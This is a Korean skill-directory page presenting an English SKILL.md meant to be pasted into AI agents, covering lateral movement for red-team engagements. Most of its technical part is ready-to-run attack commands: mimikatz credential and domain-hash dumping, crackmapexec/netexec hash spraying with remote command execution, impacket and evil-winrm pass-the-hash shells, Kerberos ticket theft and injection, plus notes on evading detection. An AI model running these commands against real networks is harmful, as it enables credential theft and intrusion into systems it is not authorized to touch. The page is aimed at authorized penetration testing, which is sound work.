offensive-lateral-movement
하는 일
이 스킬은 승인된 레드 팀이나 침투 테스트에서 초기 진입점 이후 네트워크를 가로질러 이동하는 방법론입니다. 자격 증명 재사용, NTLM 릴레이, 원격 실행 프로토콜, 터널링을 다룹니다. 서면 허가를 받은 보안 전문가를 위한 스킬입니다.
사용하는 경우
- ✓승인된 테스트에서 진입점을 확보했고 자격 증명이 어디까지 닿는지 확인해야 할 때.
- ✓SMB 서명이 없는 호스트에서 NTLM 릴레이 노출을 테스트하고 싶을 때.
- ✓평가 보고서를 위해 각 피벗 단계를 문서화해야 할 때.
스킬 링크
https://github.com/SnailSploit/Claude-Red/blob/main/Skills/post-exploitation/offensive-lateral-movement/SKILL.md복사해서 AI(Claude, ChatGPT, Cursor)에 붙여넣고 지침을 따르도록 요청하세요.
사용 방법
가장 쉬운 방법입니다. 메시지를 복사해 AI에 붙여넣으세요. AI가 스킬을 읽고 지침을 따릅니다.
바로 붙여넣을 수 있는 메시지
Claude Code, Codex, Cursor용입니다. 프로젝트 폴더에서 실행하면 스킬이 설치됩니다.
SKILL.md를 다운로드해 에이전트의 스킬 폴더에 넣으세요.
AI에게 요청하는 예시
“한 대의 침해된 워크스테이션에서 우리 네트워크를 테스트할 승인을 받았습니다. 재사용된 자격 증명을 받아들이는 호스트를 확인해 주세요.”
매주 새 스킬 5개. 읽는 데 1분.
작동 방식
이 스킬은 접근 가능한 호스트와 흔한 포트를 열거한 뒤, 자격 증명 재사용과 원격 실행 옵션을 테스트합니다. 분리된 네트워크에 닿아야 하면 터널을 설정하고, 각 피벗을 기록합니다.
기술 내용 (원본 SKILL.md)
작성자의 영어 원문을 GitHub에서 그대로 가져왔습니다.
Offensive Lateral Movement
Lateral movement is the phase where you expand access across a network after initial compromise. You pivot from one system to another using harvested credentials, token manipulation, or protocol abuse. The goal is to reach high-value targets -- domain controllers, database servers, file shares -- while minimizing detection footprint. Every technique here assumes you hold at least one valid credential or session token on the current host.
This skill covers credential-based movement, NTLM relay, remote execution protocols, session hijacking, and network tunneling. Apply these in authorized engagements only.
Quick Workflow
- Enumerate accessible hosts and open ports (445, 5985, 5986, 3389, 22, 135).
- Harvest credentials from the current host (LSASS, SAM, cached creds).
- Test credential reuse across discovered hosts with crackmapexec/netexec.
- Select a movement technique based on available credentials and target services.
- Establish persistence on the new host before moving further.
- Set up tunneling if you need to reach segmented networks.
- Document each pivot for your engagement report.
Pass-the-Hash
Pass-the-hash (PtH) lets you authenticate with an NTLM hash without knowing the plaintext password. You extract hashes from LSASS, the SAM database, or NTDS.dit, then inject them into authentication requests.
Extract hashes with mimikatz on the current host:
# Elevate to debug privilege and dump logon passwords
privilege::debug
sekurlsa::logonpasswords
# Dump SAM hashes (requires SYSTEM)
lsadump::sam
# Dump domain hashes from ntds.dit (on a DC)
lsadump::dcsync /domain:corp.local /all /csv
Use crackmapexec (or netexec) to spray the hash across the network:
# Test a single hash against a subnet
crackmapexec smb 10.10.10.0/24 -u administrator -H aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
# Execute a command on a target via PtH
crackmapexec smb 10.10.10.50 -u admin -H <NT_HASH> -x "whoami /all"
# netexec (modern fork) with same syntax
nxc smb 10.10.10.0/24 -u admin -H <NT_HASH> --shares
Use impacket for shell access:
# PtH with psexec
impacket-psexec -hashes aad3b435b51404ee:<NT_HASH> corp.local/administrator@10.10.10.50
# PtH with wmiexec (stealthier, no service creation)
impacket-wmiexec -hashes aad3b435b51404ee:<NT_HASH> corp.local/administrator@10.10.10.50
# PtH with evil-winrm
evil-winrm -i 10.10.10.50 -u administrator -H <NT_HASH>
OPSEC note: PsExec creates a service on the target (event 7045). Prefer
wmiexec or evil-winrm when possible. Crackmapexec with --no-bruteforce
prevents lockouts when testing multiple users against multiple hashes.
Pass-the-Ticket and Overpass-the-Hash
Pass-the-ticket (PtT) injects a stolen Kerberos TGT or TGS into your session, letting you authenticate as the ticket owner. Overpass-the-hash converts an NTLM hash into a Kerberos ticket, giving you Kerberos-based access from a hash alone.
Export tickets from memory with mimikatz:
# List all Kerberos tickets in memory
sekurlsa::tickets /export
# Inject a stolen TGT into the current session
kerberos::ptt C:\tickets\admin_krbtgt.kirbi
Overpass-the-hash -- request a Kerberos TGT using an NTLM hash:
# Overpass-the-hash: create a new logon session with the hash
sekurlsa::pth /user:administrator /domain:corp.local /ntlm:<NT_HASH> /run:powershell.exe
From Linux using impacket:
# Request a TGT with a hash (overpass-the-hash)
impacket-getTGT -hashes aad3b435b51404ee:<NT_HASH> corp.local/administrator
# Set the ticket in the environment
export KRB5CCNAME=administrator.ccache
# Use the ticket with psexec
impacket-psexec -k -no-pass corp.local/administrator@dc01.corp.local
Request a service ticket for a specific SPN:
# Get a TGS for CIFS service on a target
impacket-getST -spn cifs/fileserver.corp.local -hashes aad3b435b51404ee:<NT_HASH> corp.local/administrator
OPSEC note: Kerberos authentication generates event 4768 (TGT request) and 4769 (TGS request). Overpass-the-hash produces an anomalous 4768 with RC4 encryption when AES is the domain default -- this is a known detection signal.
NTLM Relay Attacks
NTLM relay captures authentication attempts and forwards them to a target service. You coerce a machine to authenticate to your listener, then relay that authentication to another host where SMB signing is not enforced.
Check SMB s
자주 묻는 질문
pass-the-hash란 무엇인가요?
평문 비밀번호 대신 비밀번호 해시로 인증하는 것으로, 스킬은 승인된 호스트에서 이를 테스트합니다.
먼저 자격 증명이 필요한가요?
네. 스킬은 현재 호스트에 최소한 하나의 유효한 자격 증명이나 세션 토큰이 있다고 가정합니다.
승인된 테스트에만 쓰나요?
네. 승인된 작업을 위해 작성되었습니다.
상세 정보
작성자의 원본 설명
Comprehensive lateral movement tradecraft for authorized red team engagements covering credential-based movement (pass-the-hash, pass-the-ticket, overpass-the-hash), NTLM relay attacks (ntlmrelayx with PetitPotam, DFSCoerce, PrinterBug coercion), remote execution protocols (WMI, WinRM, DCOM, PsExec and alternatives), RDP session hijacking, and network pivoting through tunneling tools (chisel, ligolo-ng, SSH tunnels, SOCKS proxies). Provides operator-ready command sequences for mimikatz, crackmapexec/netexec, impacket suite, and evil-winrm with emphasis on OPSEC considerations, SMB signing bypa
repo: SnailSploit/Claude-Red
인기도
- GitHub 스타
- 10k
- 순위
- #11965
- 라이선스
- MIT
- 업데이트
- 2026. 10. 12.
댓글
- …
이 저장소의 다른 스킬
offensive-active-directory
10k에이전트가 승인된 Active Directory 보안 테스트를 계획하도록 돕습니다. 네트워크 매핑부터 Domain Admin까지 가는 공격 경로 찾기까지 포함합니다.
offensive-netexec
10k에이전트가 승인된 네트워크 테스트에 NetExec(nxc) 도구를 사용하도록 돕습니다. 프로토콜, 인증, 자격 증명 점검을 다룹니다.
offensive-api-abuse
10k에이전트가 비즈니스 로직 악용, GraphQL 위험, 경쟁 상태를 찾는 승인된 API 보안 테스트를 계획하도록 돕습니다.
offensive-api-security
10k에이전트가 OWASP API Top 10을 기준으로 REST, gRPC, WebSocket API에 대한 승인된 보안 테스트를 실행하도록 돕습니다.